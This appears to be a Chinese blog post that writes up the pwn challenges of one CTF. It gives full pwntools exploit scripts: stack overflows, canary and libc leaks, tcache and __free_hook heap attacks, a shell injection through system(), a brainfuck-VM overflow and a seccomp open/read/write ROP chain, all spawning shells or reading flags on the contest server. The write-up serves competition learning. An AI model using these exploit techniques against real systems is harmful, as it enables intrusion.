Loading... 一场非常温暖人心的比赛,pwn 题比较简单,也是第一次在比赛里做完了 pwn 题。题目虽然挺简单,但是挺有意思的。做的虽然很累,但是体验尚可。 ### Archer 这题直接 nc 就可以了 ### ret2winRaRs ```python #!/usr/bin/env python # coding=utf-8 from pwn import * sh = remote("193.57.159.27", "30527") sh.sendlineafter("access:", "a" * 0x20 + 'b' * 0x8 + p64(0x0000000000401016) + p64(0x401162)) sh.interactive() ``` ### Not That Simple 通过这题学到了可以用 getdents 系统调用读取目录中的文件名。 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = 'debug' context.terminal = ["tmux", "splitw", "-h"] context.os = 'linux' context.arch = 'amd64' bss_base = 0x404108 #sh = process("./notsimple") sh = remote("193.57.159.27", "37284") sh.recvuntil("leaking! ") stack_addr = int(sh.recvuntil("\n", drop = True), base = 16) payload = "" payload = payload.ljust(0x50, 'a') payload += 'b' * 8 payload += p64(stack_addr + 0xA0) payload += 'a' * 0x40 payload += asm(shellcraft.open('.')) payload += asm(shellcraft.getdents64(3, bss_base + 0x300, 0x600)) payload += asm(shellcraft.write(1, bss_base + 0x300, 0x600)) #gdb.attach(proc.pidof(sh)[0]) sh.sendlineafter("> ", payload) sh.interactive() ``` ### The Guessing Game ```python= #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = 'debug' context.terminal = ["tmux", "splitw", "-h"] sh = process("./guess") sh = remote("193.57.159.27", "59624") elf = ELF("./guess") libc = ELF("./libc-2.31.so") guessed_times = 0 def one_guess(idx, val): sh.sendlineafter("guessing (0-7)? ", str(idx)) sh.sendlineafter("guess: ", str(val)) back = sh.recvuntil("\n", drop = True) # log.success(back + " " + hex(val)) if (back == "You got it!"): return 0 if (back == "Too high!"): return 1 if (back == "Ouch, too low!"): return -1 def plain_search(idx): l, r = 0, 255 mid = 0 while (l <= r): mid = (l + r) >> 1 result = one_guess(idx, mid) if (result == 0): global guessed_times guessed_times = guessed_times + 1 return mid elif (result == -1): l = mid + 1 else: r = mid - 1 return mid def fancy_search(idx): l, r = 0, 255 mid = 0 while (l <= r): mid = (l + r) >> 1 result = one_guess(idx, mid) if (result == 0): global guessed_times guessed_times = guessed_times + 1 return mid elif (result == -1): second_try = one_guess(idx, mid + 2) if (second_try == 1): log.success("lucky guess!" + hex(mid + 1)) return (mid + 1) elif (second_try == -1): l = mid + 3 else: global guessed_times guessed_times = guessed_times + 1 return (mid + 2) else: second_try = one_guess(idx, mid - 2) if (second_try == -1): log.success("lucky guess!" + hex(mid - 1)) return (mid - 1) elif (second_try == 1): r = mid - 3 else: global guessed_times guessed_times = guessed_times + 1 return (mid - 2) log.success("might failed") return mid def search7byte(start_idx): val = 0 for i in range(7): val += int(fancy_search(start_idx + 7 - i)) val = val << 8 return val def search6byte(start_idx): if (guessed_times > 8): return -1 val = 0 for i in range(6): val += int(fancy_search(start_idx + 5 - i)) val = val << 8 return val >> 8 canary = search7byte(0x20) log.success("canary: " + hex(canary)) log.success("guessed_times: " + hex(guessed_times)) _start_addr = search6byte(0x10) log.success("_start: " + hex(_start_addr)) log.success("guessed_times: " + hex(guessed_times)) while(guessed_times < 8): plain_search(0) prog_base = _start_addr - 0x10D0 payload = 'a' * 0x18 + p64(canary) + 'b' * 8 + p64(prog_base + elf.sym["_start"]) sh.sendafter("game? ", payload) global guessed_times guessed_times = 0 __libc_start_main = search6byte(0x30) - 243 libc_base = __libc_start_main - libc.sym["__libc_start_main"] log.success("libc_base: " + hex(libc_base)) while(guessed_times < 8): plain_search(0) payload = 'a' * 0x18 + p64(canary) + 'b' * 8 + p64(libc_base + 0xe6c81) sh.sendafter("game? ", payload) #gdb.attach(proc.pidof(sh)[0]) sh.interactive() ``` leak 出 canary,prog_base,libc_base。接下来有 12 字节溢出,onegadget 可行,就可以 getshell 了。 ### RaRmony 一直想着拿 shell,但是实际上只要改自己的权限就可以了 即修改这个结构体 ```cpp struct UserRole { __int32 idx; __int32 roleIdx; void *set_role; char name[32]; void *update_username; }; ``` 中的 roleIdx 为 0 劫持函数指针为 setRole 可以设置 ```python= #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = 'debug' context.terminal = ["tmux", "splitw", "-h"] sh = process("./harmony") sh.sendlineafter("> ", '3') sh.sendafter("username: ", '\xFF' * 0x20 + p64(0xEE40153B)) sh.sendlineafter("> ", '3') sh.sendlineafter("> ", '3') sh.sendlineafter("> ", '3') sh.sendlineafter("> ", '0') sh.sendlineafter("> ", '2') sh.interactive() ``` ### Return of Emoji DB 结构体声明如下 ```cpp typedef struct __attribute__((__packed__)) EmojiEntry { uint8_t data[4]; char *title; } entry; ``` 也就是 data 和 title 紧邻 ```cpp write(1, entries[index]->data, count_leading_ones(entries[index]->data[0])); read(0, new_entry->data + 1, count_leading_ones(new_entry->data[0]) - 1); ``` 通过上面的 read 可以写 title 指针的低四个字节 write 可以读出低四个字节 由于是 libc 2.31,所以 double free 可能比较麻烦 double free 不行就做 chunk overlapping ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") def add(title, data_1, data_7): sh.sendlineafter("\n> ", '1') sh.sendafter("title: ", title) sh.sendafter("emoji: ", data_1) sh.send(data_7) def read(idx): sh.sendlineafter("\n> ", '2') sh.sendlineafter("index to read: ", str(idx)) def delete(idx): sh.sendlineafter("\n> ", '3') sh.sendlineafter("index to delete: ", str(idx)) def garbageCollect(): sh.sendlineafter("\n> ", '4') for _ in range(16): try: #sh = process("./emoji") sh = remote("193.57.159.27", "32994") for i in range(8): add('\n', '\xFF', '\n') for i in range(8): delete(7 - i) garbageCollect() add('\n', '\xFF', '\x00\x00\x00\xD0\xa2') # idx: 0 read(0) sh.recvuntil("Title: ") libc_base = u64(sh.recv(6).ljust(8, '\x00')) - libc.sym["__malloc_hook"] - 0x70 __free_hook = libc_base + libc.sym["__free_hook"] system_addr = libc_base + libc.sym["system"] log.success("libc_base: " + hex(libc_base)) #gdb.attach(proc.pidof(sh)[0]) payload = 'a' * 0x50 + p64(0) + p64(0x91) add(payload, '\xFF', '\n') # idx: 1 payload = 'a' * 0x40 + p64(0x21) * 7 # 0x80 add(payload, '\xFF', '\n') # idx: 2 add('\n', '\xFF', '\x00\x00\x00\x90\xa4') # idx: 3 delete(3) garbageCollect() delete(1) garbageCollect() payload = 'a' * 0x50 + p64(0) + p64(0x91) + p64(__free_hook) add(payload, '\xFF', '\n') add('/bin/sh\x00', '\xFF', '\n') # idx: 3 add(p64(system_addr), '\xFF', '\n') # idx: 4 delete(3) garbageCollect() sh.sendline("echo pwned!") sh.recvuntil("pwned!") sh.sendline("cat flag") sh.interactive() except: sh.close() ``` ### boring-flag-runner 和 re boring-flag-checker 有一样的二进制 实现了一个 bf 解释器,空间分配在栈上,没做边界检测,所以可以栈溢出。 远程是没有回显的 `timeout 10 ./boring-flag-checker /tmp/$FILENAME > /dev/null` ```python= #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = 'debug' context.terminal = ["tmux", "splitw", "-h"] def transOne(op): if (op == '>'): return '\x00' if (op == '<'): return '\x02' if (op == '+'): return '\x07' if (op == '-'): return '\x06' if (op == '.'): return '\x05' if (op == ','): return '\x04' if (op == '['): return '\x03' if (op == ']'): return '\x01' def transAll(code): vmcode = "" for i in code: vmcode += transOne(i) return vmcode code = '>' * (0x130 + 0x8) code += '>' * 8 mov_0_a = '[-]' code += (mov_0_a + '>') * 0x28 code += '<' * 0x30 mov_a_ap8 = '[->>>>>>>>+>+<<<<<<<<<]>>>>>>>>>[-<<<<<<<<<+>>>>>>>>>]<<<<<<<<<' code += (mov_a_ap8 + '>') * 0x20 code += '<' * 0x20 # back code += '-' * 0x41 code += '>' code += '-' * 0x5 code += '>' * 7 code += '+' * 0xF7 code += '>' code += '+' * 0x05 code += '>' code += '+' * 0x19 code += '>' * 0x6 code += '-' * 0x3a code += '>' code += '-' * 0x1a code += '>' * 7 code += '+' * 0x5D code += '>' code += '+' * (0xE3 + 1) code += '>' code += '+' * (0x2 + 1) vmcode = transAll(code) #sh = process("./boring-flag-checker") sh = remote("193.57.159.27", "28643") sh.sendlineafter("program:", vmcode) #gdb.attach(proc.pidof(sh)[0]) sh.interactive() ``` 有一定概率打不通,打通之后执行 `exec 1>&0` 把标准输出重定向到标准输入,就可以回显了 ### Unintended ```cpp if ( !strncmp("web", challenges[challenge_num]->category, 3uLL) ) { printf("New challenge description: "); v6 = strlen(challenges[challenge_num]->description); read(0, challenges[challenge_num]->description, v6); puts("Patched challenge!"); ctftime_rating -= 5; } ``` patch 功能中存在 off-by-one ```python= #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = 'debug' context.terminal = ["tmux", "splitw", "-h"] #sh = process("./unintended") sh = remote("193.57.159.27", "59314") libc = ELF("./libc.so.6") def makeChallenge(number, category, name, desc_size, desc, points): sh.sendlineafter("> ", '1') sh.sendlineafter("number: ", str(number)) sh.sendafter("category: ", category) sh.sendafter("name: ", name) sh.sendlineafter("length: ", str(desc_size)) sh.sendafter("description: ", desc) sh.sendlineafter("Points: ", str(points)) def patchChallenge(number, desc): sh.sendlineafter("> ", '2') sh.sendlineafter("number: ", str(number)) sh.sendafter("description: ", desc) def deployChallenge(number): sh.sendlineafter("> ", '3') sh.sendlineafter("number: ", str(number)) def takeDownChallenge(number): sh.sendlineafter("> ", '4') sh.sendlineafter("number: ", str(number)) makeChallenge(0, 'web', 'idx:0', 0x800, 'idx:0', 100) makeChallenge(1, 'web', 'idx:1', 0x100, 'idx:1', 100) makeChallenge(2, 'web', 'idx:2', 0x100, 'idx:2', 100) takeDownChallenge(0) # 22 takeDownChallenge(1) # 19 takeDownChallenge(2) # 16 makeChallenge(0, 'web', 'idx:0', 0x208, 'a'.ljust(0x208, 'a'), 100) makeChallenge(1, 'web', 'idx:1', 0x5E0, 'aaaaaaaa', 100) makeChallenge(2, 'web', 'idx:2', 0x100, 'a', 100) deployChallenge(2) sh.recvuntil("Description: ") heap_base = u64(sh.recv(6).ljust(8, '\x00')) - 0xa61 log.success("heap_base: " + hex(heap_base)) deployChallenge(1) sh.recvuntil("a" * 8) libc_base = u64(sh.recv(6).ljust(8, '\x00')) - libc.sym["__malloc_hook"] - 0xF0 - 0x470 + 0x80 __free_hook = libc_base + libc.sym["__free_hook"] system = libc_base + libc.sym["system"] log.success("libc_base: " + hex(libc_base)) payload = p64(0) + p64(0x21) payload += p64(heap_base + 0x290 + 0x10) * 2 payload += (p64(0x20) + p64(0x21)) * 10 patchChallenge(0, payload.ljust(0x200, 'a') + p64(0x200) + '\x00') # 11 takeDownChallenge(1) # 8 makeChallenge(3, 'web', 'idx:3', 0x80, 'a', 100) takeDownChallenge(3) # 5 takeDownChallenge(0) # 2 makeChallenge(0, 'web', 'idx:0', 0x200, p64(0) + p64(0x91) + p64(__free_hook), 100) makeChallenge(6, 'web', '/bin/sh\x00', 0x80, '/bin/sh\x00', 100) makeChallenge(7, 'web', '/bin/sh\x00', 0x80, p64(system), 100) takeDownChallenge(6) #gdb.attach(proc.pidof(sh)[0]) sh.interactive() ``` ### Object Oriented Pwning SetName 函数中存在堆溢出 ```cpp void Animal::SetName() { printf("What will you name your new animal? "); flush(); unsigned char c; int read = 0; while ((c = getchar()) != '\n' && read < 64) { this->name[read] = c; read++; } } ``` 对应的基类定义为 ```cpp class Animal { public: virtual void Age(); virtual void PrintInfo(); virtual int Sell() = 0; void Translate(); void SetName(); virtual ~Animal() = default; char type[16]; bool dead = false; uint8_t max_age; uint8_t hunger = 0; protected: uint8_t age = 1; char name[16]; }; ``` 配合 translate 函数 ```cpp void Animal::Translate() { char buf[1024]; sprintf(buf, "/usr/games/cowsay -f ./%s.txt 'Feed me!'", this->type); system(buf); } ``` 通过堆溢出修改 type 为 `;/bin/sh;`,执行该函数即可 ```python= #!/usr/bin/env python # coding=utf-8 from pwn import * context.log_level = 'debug' context.terminal = ["tmux", "splitw", "-h"] #sh = process("./oop") sh = remote("193.57.159.27", "25295") def listAnimal(): sh.sendlineafter("> ", '1') def sell(idx): sh.sendlineafter("> ", '2') sh.sendlineafter("animal? ", str(idx)) sh.sendlineafter("> ", '1') def rename(idx, name): sh.sendlineafter("> ", '2') sh.sendlineafter("animal? ", str(idx)) sh.sendlineafter("> ", '3') sh.sendlineafter("animal? ", name) def buy(which, name): sh.sendlineafter("> ", '3') sh.sendlineafter("> ", str(which)) sh.sendlineafter("animal? ", name) def translator(idx): sh.sendlineafter("> ", '4') sh.sendlineafter("> ", '2') sh.sendlineafter("animal? ", str(idx)) sh.sendlineafter("> ", '4') buy(2, '0') buy(2, '1') listAnimal() listAnimal() sell(0) sell(1) buy(2, '0') buy(2, '1') listAnimal() listAnimal() sell(0) sell(1) buy(1, '0') buy(1, '1') #gdb.attach(proc.pidof(sh)[0]) rename(0, 'a' * 0x14 + p64(0) + p64(0x41) + p64(0x404d78) + 'flag') translator(1) sh.interactive() ``` 拿 shell 之后不给我回显,不知道为什么,所以就改成读 flag 了。 ### The Mound ptmalloc 中的 prev_size 字段即为 key,通过 edit 方法可以多次修改,由此实现 double free。然后分配到 0xdead0008000 - 8 上,改 chunk_start 是可以的,所以可以任意地址分配 主要麻烦在于开启了 seccomp,只能做 orw ```python from pwn import * context.log_level = 'debug' context.terminal = ["tmux", "splitw", "-h"] #sh = process("./mound") sh = remote("193.57.159.27", "41932") elf = ELF("./mound") libc = ELF("./libc.so.6") def add_malloc(idx, payload): sh.sendlineafter("> ", '1') sh.sendafter("Pile: ", payload) sh.sendlineafter("index: ", str(idx)) def add_mound(idx, payload, size): sh.sendlineafter("> ", '2') sh.sendlineafter("pile: ", str(size)) sh.sendlineafter("index: ", str(idx)) sh.sendafter("Pile: ", payload) def edit(idx, payload): sh.sendlineafter("> ", '3') sh.sendlineafter("index: ", str(idx)) sh.sendafter("pile: ", str(payload)) def delete(idx): sh.sendlineafter("> ", '4') sh.sendlineafter("index: ", str(idx)) add_mound(0, 'a' * 0xF0, 0xF0) add_mound(1, 'a' * 0xF0, 0xF0) add_mound(2, 'a' * 0xF0, 0xF0) add_mound(3, 'a' * 0xF0, 0xF0) delete(0) delete(1) delete(2) delete(3) add_malloc(0, 'a' * 0xF7) add_malloc(1, 'a' * 0xF7) edit(0, 'a' * 0xF0 + p64(0x00000beef0000010)[:-1]) delete(1) edit(0, 'b' * 0xF0 + p64(1)[:-1]) delete(1) add_mound(2, p64(0x00000beef0000010) + p64(0xdead0008008 - 0x10), 0xF0) add_mound(3, p64(0x00000beef0000010), 0xF0) add_mound(4, p64(0x00000beef0000010) + p64(0x404068), 0xF0) payload = p64(elf.sym["win"]) + '.\x00' add_mound(5, payload, 0x200) pop_rdi_ret = 0x0000000000401e8b ret = 0x0000000000401016 rop = 'a' * 0x40 + 'b' * 8 rop += p64(pop_rdi_ret) rop += p64(elf.got["printf"]) rop += p64(ret) rop += p64(elf.plt["printf"]) rop += p64(elf.sym["win"]) #gdb.attach(proc.pidof(sh)[0]) sh.sendafter(";)\n", rop) libc_base = u64(sh.recv(6).ljust(8, '\x00')) - libc.sym["printf"] log.success("libc_base: " + hex(libc_base)) pop_rax_rdx_rbx_ret = libc_base + 0x0000000000162865 pop_rsi_ret = libc_base + 0x0000000000027529 syscall_ret = libc_base + 0x0000000000066229 rop = 'a' * 0x40 + 'b' * 8 rop += p64(pop_rdi_ret) rop += p64(0x404080) rop += p64(pop_rsi_ret) rop += p64(0) rop += p64(pop_rax_rdx_rbx_ret) rop += p64(0) + p64(0) + p64(0) rop += p64(libc_base + libc.sym["open"]) rop += p64(pop_rdi_ret) rop += p64(3) rop += p64(pop_rsi_ret) rop += p64(0x00000beef0000000) rop += p64(pop_rax_rdx_rbx_ret) rop += p64(217) + p64(0x600) + p64(0) rop += p64(syscall_ret) rop += p64(pop_rdi_ret) rop += p64(1) rop += p64(pop_rsi_ret) rop += p64(0x00000beef0000000) rop += p64(pop_rax_rdx_rbx_ret) rop += p64(0) + p64(0x600) + p64(0) rop += p64(libc_base + libc.sym["write"]) rop += p64(pop_rdi_ret) rop += p64(0) rop += p64(pop_rsi_ret) rop += p64(0x00000beef0001000) rop += p64(pop_rax_rdx_rbx_ret) rop += p64(0) + p64(0x20) + p64(0) rop += p64(libc_base + libc.sym["read"]) rop += 'a' * 0x40 + 'b' * 8 rop += p64(pop_rdi_ret) rop += p64(0x00000beef0001000) rop += p64(pop_rsi_ret) rop += p64(0) rop += p64(pop_rax_rdx_rbx_ret) rop += p64(0) + p64(0) + p64(0) rop += p64(libc_base + libc.sym["open"]) rop += p64(pop_rdi_ret) rop += p64(4) rop += p64(pop_rsi_ret) rop += p64(0x00000beef0000000) rop += p64(pop_rax_rdx_rbx_ret) rop += p64(0) + p64(0x60) + p64(0) rop += p64(libc_base + libc.sym["read"]) rop += p64(pop_rdi_ret) rop += p64(1) rop += p64(pop_rsi_ret) rop += p64(0x00000beef0000000) rop += p64(pop_rax_rdx_rbx_ret) rop += p64(0) + p64(0x60) + p64(0) rop += p64(libc_base + libc.sym["write"]) sh.sendafter(";)\n", rop) sh.interactive() ``` 远程把 flag 名字随机掉了,所以用 getdents 先把文件名读出来,然后再 orw。 最后修改:2021 年 08 月 10 日 © 允许规范转载 打赏 赞赏作者 支付宝微信 赞 0 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧